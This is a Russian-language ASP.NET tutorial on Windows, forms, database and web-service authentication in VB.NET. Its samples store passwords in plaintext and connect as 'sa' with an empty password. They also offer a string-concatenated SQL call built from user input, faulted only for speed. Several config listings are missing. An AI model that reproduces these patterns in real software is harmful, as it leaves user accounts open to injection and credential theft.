    Public Class WebForm1 Inherits System.Web.UI.Page #Region “ Web Form Designer Generated Code “ ‘This call is required by the Web Form Designer. Private Sub InitializeComponent() End Sub ‘NOTE: The following placeholder declaration is required by the Web Form Designer. ‘Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init ‘CODEGEN: This method call is required by the Web Form Designer ‘Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim s As String s = “

    Name: “ & HttpContext.Current.User.Identity.Name & “

    ” & _ “

    Authentication type: “ & HttpContext.Current.User.Identity.AuthenticationType.ToString & “

    ” & _ “

    Is authenticated: “ & HttpContext.Current.User.Identity.IsAuthenticated.ToString & “

    ” & _ “

    Is admin: “ & HttpContext.Current.User.IsInRole(“Administrator”).ToString & “

    ” Response.Write(s) End Sub End Class

    Если был выбран режим аутентификации Windows и настройки IIS не вызвали никаких конфликтных ситуаций, то вы получите соответствующую информацию о своём текущем пользователе. Если же поле имени пользователя и типа аутентификации оказались пустыми, то вам нужно просто настроить IIS, для этого выполните следующие действия:

    1. Откройте IIS и найдите виртуальный каталог с этим приложением
    2. Откройте окно свойств для этого каталога и перейдите во вкладку Безопасность каталога. В рамке Анонимный доступ и проверка подлинности нажмите кнопку Изменить…
    3. В появившемся окне (рис. 2) снимите флажок Анонимный доступ

    Рис. 2 – Настройка IIS

    На этом мы закончим рассмотрение аутентификации на основе Windows и перейдём к аутентификации формой.

    Аутентификация формой:

    Аутентификация формой или, как её ещё называют аутентификация на основе Cookie-файлов, имеет ряд преимуществ над аутентификацией Windows.

    * Во-первых, вы имеете возможность самому определить на свой вкус и цвет или на вкус и цвет пользователя внешний вид формы регистрации вместо однотипного окна регистрации Windows.
    * Во-вторых, вы полностью контролируете вводимую информацию
    * Сведения о пользователях теперь может храниться не только в SAM или Active Directory, но и в любом другом хранилище, в частности: база данных, каталог LDAP, XML-файлы или же обычный текстовый файл.
    * Отпадает необходимость связывать политику безопасности сервера с политикой Web-приложения, поскольку, как уже было ранее сказано, все сведения о пользователях можно вынести в отдельное хранилище данных без каких-либо пересечений с учётными записями ОС.

    Но, не смотря на такое изобилие возможностей аутентификации на основе формы, существует и одно весомое ограничение – пользователь должен разрешить применение cookie-файлов. Если его не будет, то аутентификация формой с применением средств ASP.NET работать не будет. Обратите внимание на слова “…с применением средств ASP.NET…”. Это означает, что не будет работать механизм, освобождающий разработчика от рутинных операций бесконечных проверок, иными словами, все запросы, поступившие от пользователя, ещё не прошедшего аутентификацию, переадресовываются на страницу регистрации, где он вводит необходимую информацию (чаще всего имя пользователя и пароль). Полученные сведения передаются среде ASP.NET, где происходит их верификация. В случае успеха пользователю передаётся cookie-файл, в котором содержится удостоверение об авторизации (Authorization ticket), имя пользователя и ключ для последующего получения идентификатора. В результате все последующие обращения броузера будут содержать в заголовках сведения об авторизации, направляемые на проверку в среду ASP.NET. Поэтому, если пользователь не поддерживает cookie, то все проверки о том, прошёл ли он аутентификацию, нужно будет осуществлять вручную, например, в предыдущих версиях ASP для этого применяли объект Session, примерно, в следующей форме:

    If Not Session(“Registered”) = “1” Then Response.Redirect(“login.asp”) End If

    Для использования аутентификации формой сперва нужно настроить конфигурацию Web-проекта. Для этого измените содержимое тэга файла Web.config следующим образом:

    Давайте подробнее рассмотрим вышеприведённый код. Атрибут mode тэга определяет способ аутентификации. В предыдущих примерах мы использовали значение Windows, которое настраивало аутентификацию в режим аутентификации средствами Windows, теперь для работы на основе форм мы применяем режим Forms. Кроме этих двух констант существуют ещё 2: Passport и None – первая из них определяет аутентификацию на основе паспорта, о которой речь пойдёт позже, вторая отключает её вообще. Следующий тэг () присущ только аутентификации на основе формы и включает в себя следующие сведения:

    * name – имя cookie-файла, в который будут внесены данные об успешном прохождении аутентификации
    * loginUrl – определяет адрес страницы, на которую будет переадресован пользователь для прохождения регистрации
    * protection – принимает значения All|None|Encryption|Validation и определяет способ защиты данных в cookie-файлах. Из допустимых значений видно, что можно ничего не делать с полученными данными и принимать их такими, какие они есть; можно сверять их; можно шифровать; а также есть возможность объединить верификацию с криптографией – такое значение используется по умолчанию.
    * timeout – определяет промежуток времени в секундах, в течение которого cookie будет доступен
    * path – этот атрибут задаёт полный путь к cookie-файлу. По умолчанию он содержит косую черту (/), которая раскрывает все пути. Менять этот параметр не рекомендуется, потому что некоторые броузеры чувствительны к регистру в пути, потому в результате изменений этого параметра вы можете отрезать некоторых пользователей от возможности проходить аутентификацию.
    * requireSSL – этот атрибут принимает значения True или False (по умолчанию) и устанавливает необходимость применения протокола защищённых сокетов (SSL – Secured Sockets Layer)
    * slidingExpiration – указывает, нужно ли пересоздавать cookie и удостоверение об авторизации, если истекает таймаут. Принимает значения true (по умолчанию) или false.

    Выше были описаны все возможные атрибуты раздела forms,но для корректной работы приложения достаточно использовать лишь 3 из них, как это показано в следующем листинге:

    Аутентификация формой с использованием отдельных XML-файлов:

    Давайте теперь создадим простую страницу регистрации пользователей, которая сверяет введённые имя и пароль с данными из XML-файла. Для этого сперва создайте XML-файл с именем users.xml следующего образца:
    users.xml:

    John one Mike two Bill three

    База пользователей готова – теперь можно приступить к созданию пробного проекта регистрации пользователей. Весь необходимый код приведён ниже:
    Default.aspx:

    <%@ Page Language=”vb” AutoEventWireup=”false” Codebehind=”default.aspx.vb” Inherits=”FormAuth._default”%> default

    Default.aspx.vb:

    Imports System.Web.Security Public Class _default Inherits System.Web.UI.Page #Region “ Web Form Designer Generated Code “ ‘This call is required by the Web Form Designer. Private Sub InitializeComponent() End Sub ‘NOTE: The following placeholder declaration is required by the Web Form Designer. ‘Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init ‘CODEGEN: This method call is required by the Web Form Designer ‘Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load ‘Put user code to initialize the page here If context.Current.User.Identity.Name = “” Then Response.Redirect(“login.aspx”) Else Response.Write(“

    ”) End If End Sub End Class

    <%@ Page Language=”vb” AutoEventWireup=”false” Codebehind=”login.aspx.vb” Inherits=”FormAuth.WebForm1”%> Registration

    Name
    Password

    Authentication failed

    Imports System.Xml Imports System.Web.Security Public Class WebForm1 Inherits System.Web.UI.Page Protected WithEvents txtName As System.Web.UI.WebControls.TextBox Protected WithEvents txtPassword As System.Web.UI.WebControls.TextBox Protected WithEvents lbl As System.Web.UI.WebControls.Label Protected WithEvents btnLogin As System.Web.UI.WebControls.Button #Region “ Web Form Designer Generated Code “ ‘This call is required by the Web Form Designer. Private Sub InitializeComponent() End Sub ‘NOTE: The following placeholder declaration is required by the Web Form Designer. ‘Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init ‘CODEGEN: This method call is required by the Web Form Designer ‘Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub btnLogin_Click(ByVal sender As Object, ByVal e As EventArgs) Handles btnLogin.Click Dim xd As New XmlDocument, xr As XmlNodeReader Dim sName As String, sPass As String " Открываем XML-файл xd.Load(Server.MapPath(“users.xml”)) ‘ Активируем XmlNodeReader xr = New XmlNodeReader(xd.Item(“users”)) " Ищем нужного пользователя While xr.Read If xr.Name = “name” And xr.NodeType = XmlNodeType.Element Then sName = xr.ReadString " Если не то имя пользователя, то переходим к другому If sName <> txtName.Text Then xr.Skip() ElseIf xr.Name = “password” And xr.NodeType = XmlNodeType.Element Then If xr.ReadString() = txtPassword.Text Then " Если пароли совпали, значит аутентификация проведена успешно FormsAuthentication.RedirectFromLoginPage(txtName.Text, True) Else " Если нет, то переходим к другому пользователю xr.Skip() End If End If End While " Если эта строка выполняется, значит данные о пользователе были введены неверно lbl.Visible = True End Sub End Class

    Давайте теперь проведём “разбор полётов”: вышеприведённый код содержит в себе 2 страницы. Все действия начинаются на странице default.aspx, в которой происходит проверка, есть ли у текущего пользователя имя:

    If context.Current.User.Identity.Name = “” Then Response.Redirect(“login.aspx”) Else Response.Write(“

    Hello “ & context.Current.User.Identity.Name & “

    ”) End If

    Если оно есть, то на экран будет выведено приветствие, в противном случае – пользователь будет переадресован на страницу регистрации login.aspx, где ему будет предложено ввести своё имя и пароль. Введённые сведения сверяются с данными из XML файла. Если пользователь не будет найден, появится сообщение об ошибке (рис. 3), в ином случае он будет благополучно переадресован на исходную страницу default.aspx, которая, обнаружив, что у текущего пользователя имя определено, поприветствует его.

    Рис. 3 – Неверные данные при регистрации

    Если вы успешно прошли аутентификацию и увидели приветствие, то закройте окно броузера и попробуйте заново запустить страницу default.aspx. Вы сразу увидите перед собой приветствие для того пользователя, чьё имя вы вводили в последний раз. Дело в том, что при регистрации мы сохранили на машине клиента cookie-файл. Это произошло в тот момент, когда мы в коде вызывали функцию RedirectFromLoginPage, передав её параметру CreatePersistentCookie значение True:

    FormsAuthentication.RedirectFromLoginPage(txtName.Text, True)

    Для того чтобы исключить передачу cookie файла достаточно вызвать эту функцию со значением False параметра CreatePersistentCookie. Или есть другой способ – в странице default.aspx добавьте обработчик события выгрузки страницы со следующим кодом:

    Private Sub Page_Unload(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Unload FormsAuthentication.SignOut() End Sub

    В результате, после выгрузки главной страницы пользователь будет регистрироваться о выходе.

    Аутентификация формой с использованием файла конфигурации:

    В предыдущем примере мы хранили все данные о пользователях в отдельном XML-файле, но оказывается ASP.NET предоставляет возможность хранить сведения об аккаунтах прямо в файле конфигурации Web-проекта. Преимуществом этого метода является то, что для его реализации требуется значительно меньше программного кода, поскольку в данном случае программисту не нужно вручную просматривать XML-файл в поисках соответствующих совпадений – он лишь вызывает одну единственную функцию, которая и решает всё дело. Для того чтобы понять принцип работы этого механизма, давайте ещё раз обратимся к файлу конфигурации, а точнее к тэгу forms. Этот тэг помимо уже описанных ранее атрибутов может также включать раздел — сертификаты:
    Web.config:

    Как видно из вышеприведённого листинга, тэг credentials содержит один единственный атрибут – passwordFormat. Этот параметр определяет способ хранения пароля и принимает следующие значения:

    * Clear – пароль сохраняется без каких-либо изменений
    * SHA1 – пароль хэшируется методом SHA1 (Secure Hash Algorithm версии 1)
    * MD5 – пароль хэшируется методом MD5 (Message Digest версии 5)

    Если вы выберите какой-нибудь из алгоритмов хэширования, то пароль уже нельзя будет хранить в исходной форме в файле конфигурации – его нужно будет сперва хэшировать и лишь потом присвоить полученный результат атрибуту password. В противном случае, когда ASP.NET будет проводить аутентификацию, пароли просто не совпадут.

    Теперь, когда мы имеем свежеиспечённую базу учётных записей, давайте вернёмся к предыдущему приложению и изменим код обработчика события нажатия кнопки регистрации в странице login.aspx:
    login.aspx.vb:

    Private Sub btnLogin_Click(ByVal sender As Object, ByVal e As EventArgs) Handles btnLogin.Click If FormsAuthentication.Authenticate(txtName.Text, txtPassword.Text) Then " Если пользователь найден в разделе сертификатов, значит, регистрация проведена ‘ успешно FormsAuthentication.RedirectFromLoginPage(txtName.Text, False) Else " Иначе – выводим сообщение об ошибке lbl.Visible = True End If End Sub

    Теперь сравните этот код с тем, который использовался в предыдущем примере. Как видите, он сократился от множества условий и переборов до всего одного запроса, возвращающего True или False.

    Мы специально сейчас не станем рассматривать пример кода, работающего с хэшированными паролями, чтобы не торопить события. Дело в том, что в 3-й части этой статьи, которая будет посвящена криптографии, вы узнаете обо всех тонкостях хэширования и шифрования данных и сможете сами применить эти методы на практике.

    Аутентификация формой с использованием базы данных:

    Давайте теперь рассмотрим пример работы с ещё одним хранилищем данных о пользователях – с базой данных MS SQL Server. Большинство динамических сайтов используют базы данных для хранения содержимого сайта. Сведения о пользователях также не являются исключением и вполне могут занять своё место в общем пуле данных. Для того, чтобы своими глазами увидеть, как всё это происходит, давайте создадим тестовое приложение, которое вновь будет основано на уже известной нам странице регистрации, применяемой в предыдущих примерах. Прежде всего, необходимо приготовить базу данных, для этого откройте утилиту SQL Query Analyzer и выполните в ней следующий код, написанный на языке tSQL:
    FormAuthUsers.sql:

    Create database ‘FormAuthUsers’ and add table ‘Users’ CREATE DATABASE FormAuthUsers GO USE FormAuthUsers GO CREATE TABLE ( IDENTITY (1, 1) NOT NULL, (50), (50), CONSTRAINT PRIMARY KEY CLUSTERED () ON ) ON GO --Fill table ‘Users’ INSERT INTO Users (UserName, Password) VALUES(‘John’, ‘one’) GO INSERT INTO Users (UserName, Password) VALUES(‘Mike’, ‘two’) GO INSERT INTO Users (UserName, Password) VALUES(‘Bill’, ‘three’) GO --Create procedure ‘FindUser’ CREATE PROCEDURE FindUser @Name nvarchar(50), @Password nvarchar(50) AS SELECT COUNT(ID) FROM Users WHERE UserName = @Name AND Password = @Password GO

    В результате выполнения этого кода на вашем SQL Server должна создаться база данных с именем “FormAuthUsers”, в которой вы сможете найти таблицу Users с тремя записями и хранимую процедуру FindUser. Эта процедура возвращает количество пользователей, удовлетворяющих запросу, который формируется из параметров, передаваемых этой процедуре.

    Теперь, когда у нас готова база данных, мы можем приступить к созданию страницы, которая будет с ней работать. Для этого вновь возьмите за основу предыдущие примеры и замените обработчик события нажатия кнопки на странице login.aspx:
    login.aspx.vb:

    Imports System.Data.SqlClient Imports System.Web.Security Public Class WebForm1 Inherits System.Web.UI.Page Protected WithEvents txtName As System.Web.UI.WebControls.TextBox Protected WithEvents txtPassword As System.Web.UI.WebControls.TextBox Protected WithEvents lbl As System.Web.UI.WebControls.Label Protected WithEvents btnLogin As System.Web.UI.WebControls.Button #Region “ Web Form Designer Generated Code “ ‘This call is required by the Web Form Designer. Private Sub InitializeComponent() End Sub ‘NOTE: The following placeholder declaration is required by the Web Form Designer. ‘Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init ‘CODEGEN: This method call is required by the Web Form Designer ‘Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub btnLogin_Click(ByVal sender As Object, ByVal e As EventArgs) Handles btnLogin.Click Dim cn As New SqlConnection(“server=localhost;database=FormAuthUsers;uid=sa;pwd=;”) Dim cm As New SqlCommand(“FindUser”, cn) Dim n As Integer " Открываем соединение Try cn.Open() Catch ex As SqlException Response.Write(ex.Message) Exit Sub End Try " Задаём тип команды cm.CommandType = CommandType.StoredProcedure " Добавляем параметры имени Dim prmName = New SqlParameter(“@Name”, SqlDbType.NvarChar, 50) prmName.Value = txtName.Text cm.Parameters.Add(prmName) " Добавляем параметр пароля Dim prmPass = New SqlParameter(“@Password”, SqlDbType.NvarChar, 50) prmPass.Value = txtPassword.Text cm.Parameters.Add(prmPass) " Выполняем запрос n = cm.ExecuteScalar If n > 0 Then " Если кого-то нашли, значит, регистрация пройдена успешно FormsAuthentication.RedirectFromLoginPage(txtName.Text, False) Else " если никого нет, значит, ошибка lbl.Visible = True End If cn.Close() End Sub End Class

    Для корректной работы этой страницы убедитесь, что строка подключения подходит под вашу конфигурацию. Давайте разберёмся в том, что тут происходит. Во-первых, создаётся объект соединения SqlConnection, в качестве параметра которому передаётся строка подключения к базе данных:

    Dim cn As New SqlConnection(“server=localhost;database=FormAuthUsers;uid=sa;pwd=;”)

    После этого создаётся экземпляр объекта SqlCommand, который служит для выполнения команд работы с данными. Следующие строки кода открывают соединение, но при этом учитывается возможность исключений, которые вылавливаются обработчиком исключений try:

    " Открываем соединение Try cn.Open() Catch ex As SqlException Response.Write(ex.Message) Exit Sub End Try

    Если при открытии соединения возникают какие-либо сбои, то пользователь получает соответствующее сообщение, и операция прерывается.

    После этого объект SqlCommand настраивается на выполнение хранимой процедуры, и подготавливаются параметры для её запуска. Для этих 7 строк кода, конечно же, существует альтернатива, состоящие из 1 строки кода:

    cm.CommandText = "exec FindUser "" & txtName.Text & "", "" & txtPassword.Text & """

    Но, не смотря на то, что этот код короче, время работы будет больше. Почему? Дело в том, что с этой строкой вы осуществляете оперативный запрос, т. е. Вы пишите непосредственно SQL-команду, которая вызывает хранимую процедуру. В результате вы передаёте по сети дополнительные данные в виде команды “exec”, которая в свою очередь занимает место в сетевом трафике; как только этот запрос достигнет сервера, то сначала выполнится команда “exec”, и лишь потом запустится нужная нам хранимая процедура FindUser. Кроме этого существует ещё более тяжёлый способ, который заключается в отказе от хранимых процедур и вставке всего необходимого кода запроса непосредственно в объект SqlCommand, в результате чего ещё больше дополнительной информации отправляется по сетевому трафику. Казалось бы, что это такой плюс-минус пара десятков байт, но, а если вам придётся работать с огромными запросами, код которых значительно больше, чем у нашей процедуры? Поэтому самым лучшим способом является использование хранимых процедур, поскольку в этом случае вы получаете чёткое разделение обязанностей, при котором клиентская страница отвечает только за ввод-вывод данных в доступной пользователю форме; SQL Server выполняет все операции с данными; а IIS выступает в роли посредника между клиентом и сервером – вот вам и трёхуровневая архитектура. Не загружайте “нежные” клиентские машины лишней работой – лучше доверьте её тяжёлой артиллерии, т. е. серверу.

    Но вернёмся к нашему коду и продолжим его разбор: после определения типа команды и подготовки всех параметров мы благополучно выполняем эту команду, при чём, обратите внимание, что для выполнения используется функция ExecuteScalar. Её следует применять, когда в качестве результата вы получаете скалярную величину, т. е. число, что собственно и происходит в нашей процедуре FindUser – она возвращает количество записей, удовлетворяющих заданному условию:

    В конце кода, получив количество найденных записей, мы просто анализируем это значение и выполняем соответствующие операции.
    Аутентификация формой с использованием Web-служб:

    Предположим, вы работаете в организации XYZ. Вам было поручено создать приложение, управляющее информацией о персонале вашей организации. Вы работаете над этим проектом уже 7 месяцев, и вдруг по соображениям безопасности вам было поручено разместить информацию о пользователях на совсем другом сервере, с которым активно работает другой отдел организации XYZ. Непосредственный доступ к серверу вам не обеспечили, поэтому ваш проект не может напрямую обращаться к базе данных с пользователями, расположенной на этом сервере. Для решения этой проблемы было решено дать вам возможность разработать Web-службу, через которую вы могли бы осуществлять контроль над аутентификацией пользователей.

    Эта выдуманная история раскрывает ещё один способ, позволяющий проводить аутентификацию – использование Web-служб. Web-службы становятся особенно актуальными, когда у вас или у ваших клиентов нет полноценного доступа к серверу. Кроме того, Web-службы применимы не только к Web-приложениям, но они могут также быть использованы и программными продуктами, работающими на самых разнообразных платформах. Это стало возможно благодаря применению технологии SOAP (Simple Object Access Protocol), которая использует стандартные порты TCP/IP и протокол HTTP.

    Для работы с Web-службой её, прежде всего, нужно создать. Для этого начните новый проект типа ASP.NET Web Service (рис. 4).

    Рис. 4 – Создание Web-службы

    Теперь, используя код обработчика события нажатия кнопки регистрации из предыдущего примера, вставьте его в исходный код Web-службы, немного видоизменив до следующей формы:
    AuthSrvc.asmx:

    Imports System.Web.Services Imports System.Data.SqlClient _ Public Class Service1 Inherits System.Web.Services.WebService #Region " Web Services Designer Generated Code " Public Sub New() MyBase.New() "This call is required by the Web Services Designer. InitializeComponent() "Add your own initialization code after the InitializeComponent() call End Sub "Required by the Web Services Designer Private components As System.ComponentModel.IContainer "NOTE: The following procedure is required by the Web Services Designer "It can be modified using the Web Services Designer. "Do not modify it using the code editor. Private Sub InitializeComponent() components = New System.ComponentModel.Container() End Sub Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) "CODEGEN: This procedure is required by the Web Services Designer "Do not modify it using the code editor. If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub #End Region " Функция, осуществляющая проверку наличия пользователя с заданным именем и паролем Public Function Authenticate(ByVal UserName As String, ByVal Password As String, ByRef ErrMessage As String) As Boolean Dim cn As New SqlConnection("server=localhost;database=FormAuthUsers;uid=sa;pwd=;") Dim cm As New SqlCommand("FindUser", cn) Dim n As Integer " Открываем соединение Try cn.Open() Catch ex As SqlException " Если есть исключение, то передаём его описание параметру ErrMessage ErrMessage = ex.Message Exit Function End Try " Задаём тип команды cm.CommandType = CommandType.StoredProcedure " Добавляем параметры имени Dim prmName = New SqlParameter("@Name", SqlDbType.NVarChar, 50) prmName.Value = UserName cm.Parameters.Add(prmName) " Добавляем параметр пароля Dim prmPass = New SqlParameter("@Password", SqlDbType.NVarChar, 50) prmPass.Value = Password cm.Parameters.Add(prmPass) " Выполняем запрос n = cm.ExecuteScalar " Закрываем соединение cn.Close() " Анализируем полученный результат If n > 0 Then " Если кого-то нашли, значит, регистрация пройдена успешно Return True Else " если никого нет, значит, ошибка Return False End If End Function End Class

    Вы можете проверить работоспособность службы, не отходя от кассы, для этого просто запустите её на выполнение в среде Visual Studio .NET. Если в службе не было ошибок, то увидите перед собой экран, на котором будут 2 гиперссылки. Одна из них ведёт к описанию Web-службы средствами языка WSDL (Web Service Description Language), а другая (Authenticate) позволяет протестировать службу. Нажмите на вторую гиперссылку и заполните таблицу параметров, в появившейся странице (рис. 5). Если вы введёте в поле UserName строку “John”, а в качестве пароля подставите “one”, то функция вернёт значение True:

    http://localhost/AuthSrvc/AuthSrvc.asmx/Authenticate: true

    Если изменить значение любого из этих полей на недействительное, т. е. на то, которого нет в базе данных, то результат соответственно будет противоположным – False.

    Думаю, нет смысла детально разбирать код этой функции, потому что во многом она похожа на свою предшественницу из предыдущего примера. Но, тем не менее, следует обратить особое внимание на обработчик исключений. Если в листинге с базой данных он при возникновении каких-либо исключений просто выводил соответствующее сообщение на экран, то в Web-службе мы передаём сообщение об ошибке параметру ErrMessage функции Authenticate, который был объявлен по ссылке:.

    " Открываем соединение Try cn.Open() Catch ex As SqlException " Если есть исключение, то передаём его описание параметру ErrMessage ErrMessage = ex.Message Exit Function End Try

    В приложениях, которые будут использовать эту службу, мы встроим проверку на наличие каких-либо исключений, и при их обнаружении будем выводить соответствующее сообщение.

    Рис. 5 – Проверка работоспособности Web-службы

    Теперь давайте создадим приложение, которое будет использовать эту Web-службу, но только на этот раз мы немного отойдём от темы и для разнообразия создадим приложение Windows:

    1. Создайте новый проект типа Windows Application
    2. Измените форму так, чтобы она была похожа на форму, изображённую на рис. 6, или можете просто подставить код в конструктор из следующего листинга.
    3. В окне SolutionExplorer щёлкните правой кнопкой мыши по папке References и выберите в появившемся контекстном меню команду Add Web Reference…
    4. Перед вами появится диалог установки ссылок к Web-сервисам. Введите в поле URL полный адрес к файлу.asmx и запустите поиск. В результате вы должны увидеть нечто подобное рисунку 7.
    5. Нажмите на кнопку Add Reference, и в вашем проекте появится ссылка на указанную Web-службу.
    6.

    Рис. 6 – Примерный вид тестового приложения

    Рис. 7 – Результаты поиска Web-службы

    Теперь можно приступить к написанию программного кода, реализующего этот Web-сервис. Весь необходимый код приведён ниже:
    AuthSrvcRelease.vb:

    Public Class Form1 Inherits System.Windows.Forms.Form #Region " Windows Form Designer generated code " Public Sub New() MyBase.New() "This call is required by the Windows Form Designer. InitializeComponent() "Add any initialization after the InitializeComponent() call End Sub "Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub "Required by the Windows Form Designer Private components As System.ComponentModel.IContainer "NOTE: The following procedure is required by the Windows Form Designer "It can be modified using the Windows Form Designer. "Do not modify it using the code editor. Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents Label2 As System.Windows.Forms.Label Friend WithEvents txtName As System.Windows.Forms.TextBox Friend WithEvents txtPassword As System.Windows.Forms.TextBox Friend WithEvents cmdExit As System.Windows.Forms.Button Friend WithEvents cmdLogin As System.Windows.Forms.Button Private Sub InitializeComponent() Me.Label1 = New System.Windows.Forms.Label Me.Label2 = New System.Windows.Forms.Label Me.txtName = New System.Windows.Forms.TextBox Me.txtPassword = New System.Windows.Forms.TextBox Me.cmdExit = New System.Windows.Forms.Button Me.cmdLogin = New System.Windows.Forms.Button Me.SuspendLayout() " "Label1 " Me.Label1.Location = New System.Drawing.Point(8, 8) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(40, 16) Me.Label1.TabIndex = 0 Me.Label1.Text = "Name:" " "Label2 " Me.Label2.Location = New System.Drawing.Point(8, 40) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(64, 16) Me.Label2.TabIndex = 1 Me.Label2.Text = "Password:" " "txtName " Me.txtName.Location = New System.Drawing.Point(80, 5) Me.txtName.Name = "txtName" Me.txtName.Size = New System.Drawing.Size(216, 20) Me.txtName.TabIndex = 2 Me.txtName.Text = "" " "txtPassword " Me.txtPassword.Location = New System.Drawing.Point(80, 37) Me.txtPassword.Name = "txtPassword" Me.txtPassword.PasswordChar = Microsoft.VisualBasic.ChrW(42) Me.txtPassword.Size = New System.Drawing.Size(216, 20) Me.txtPassword.TabIndex = 3 Me.txtPassword.Text = "" " "cmdExit " Me.cmdExit.DialogResult = System.Windows.Forms.DialogResult.Cancel Me.cmdExit.Location = New System.Drawing.Point(216, 72) Me.cmdExit.Name = "cmdExit" Me.cmdExit.Size = New System.Drawing.Size(80, 24) Me.cmdExit.TabIndex = 4 Me.cmdExit.Text = "Exit" " "cmdLogin " Me.cmdLogin.Location = New System.Drawing.Point(128, 72) Me.cmdLogin.Name = "cmdLogin" Me.cmdLogin.Size = New System.Drawing.Size(80, 24) Me.cmdLogin.TabIndex = 5 Me.cmdLogin.Text = "Login" " "Form1 " Me.AcceptButton = Me.cmdLogin Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.CancelButton = Me.cmdExit Me.ClientSize = New System.Drawing.Size(304, 103) Me.Controls.Add(Me.cmdLogin) Me.Controls.Add(Me.cmdExit) Me.Controls.Add(Me.txtPassword) Me.Controls.Add(Me.txtName) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.Label1) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Me.MaximizeBox = False Me.MinimizeBox = False Me.Name = "Form1" Me.Text = "AuthSrvc Test application" Me.ResumeLayout(False) End Sub #End Region Private Sub cmdLogin_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdLogin.Click " Устанавливаем ссылку на объект Dim au As New localhost.Service1 Dim sErr As String, bln As Boolean " Осуществляем проверку Cursor = Cursors.WaitCursor bln = au.Authenticate(txtName.Text, txtPassword.Text, sErr) Cursor = Cursors.Default " - Но сперва учтём возможные исключения If sErr <> "" Then MsgBox(sErr) Exit Sub End If " - А теперь переходим к основной проверке If bln = True Then MsgBox("Hello " & txtName.Text, MsgBoxStyle.Information) Else MsgBox("Wrong data!", MsgBoxStyle.Exclamation) End If End Sub Private Sub cmdExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdExit.Click End End Sub End Class

    В этом примере можно увидеть очень простой код, который заключается в обычном вызове функции, которая выполняет все необходимые операции.

    Как уже было ранее сказано, Web-службы основаны на технологии SOAP и потому могут быть использованы приложениями, работающими совсем на другой платформе. Мы не будем уходить далеко, отрекаясь от Windows, но попробуем вызвать эту же самую Web-службу без применения технологий.NET, т. е. непосредственно через SOAP. Для этого создайте следующий файл сценария на языке Visual Basic Script Edition (VBScript) и запустите его на выполнение:
    SOAP.vbs:

    " Создаём экземпляр объекта SoapClient Set sc = CreateObject("MSSOAP.SoapClient") " Соединяемся с веб-службой и вызываем метод Authenticate sc.mssoapinit "http://localhost/AuthSrvc/AuthSrvc.asmx?WSDL" If sc.Authenticate ("John", "one", s) = True Then MsgBox "Hello John", 64 Else MsgBox "Wrong data!!", 48 End If " Удаляем ссылку на объект Set sc = Nothing

    Как видите, применяя объектную модель SOAP, вы можете обращаться к Web-службам, используя самые разнообразные языки программирования (даже скрипты!) и платформы.

    Но не всё так идеально, как кажется. Под красивой обёрткой Web-сервисов скрываются подводные камни, в первую очередь – это их собственная безопасность. Web-службы имеют беззащитную XML-структуру, перехватив которую, можно легко понять и получить передаваемые данные. Чтобы исключить, а точнее уменьшить вероятность подобной утечки информации, необходимо обезопасить веб-службы. Для этих целей существует ряд технологий, но наиболее распространённые только три из них: правила Firewall’а, Secure Sockets Layer (SSL) и Virtual Private Network (VPN).

    Если вы точно знаете, какие компьютеры будут обращаться к вашему Web-сервису, то в этом случае вам подойдёт вариант с применением правил Firewall’а, где вы можете задать ограничения и права для конкретных IP-адресов, поэтому данный метод больше применим для локальных сетей, где вам не приходится особо беспокоиться о конфиденциальности передаваемых сведений. Очень удобным средством для этого является Microsoft Security and Acceleration (ISA) Server. Он предлагает расширенные правила политики, позволяющие ограничить или, наоборот, открыть доступ к информации для конкретных клиентов.

    SSL наибольшим образом подходит для сетей Internet. При его использовании данные шифруются и передаются между сервером и клиентом; поступившие данные после этого проходят аутентификацию, проверяя тем самым, от того ли источника пришли эти данные. Это происходит с применением сертификатов, которые должны находиться как у сервера, так и у клиента, поэтому с одной стороны использование сертификатов позволяет удостовериться, что данные попадают в нужные руки, но с другой стороны – нужно быть уверенным, что у получателя есть соответствующий сертификат. Таким образом, для применения SSL вам нужно:

    1. Получить сертификаты: сертификаты бывают коммерческие и триальные. Разница между ними заключается в том, что коммерческий будет официально оформлен на покупателя и, соответственно, будет стоить денег, а триальный можно получить бесплатно, но при этом без официального оформления. Сертификат можно получить по следующему адресу: http://www.verisign.com/. Но какой бы тип сертификата вы не заказывали, загрузить вам всё равно нужно будет 2: один для сервера, а другой – для клиентов (его ещё называют Certificate Authority (CA)).
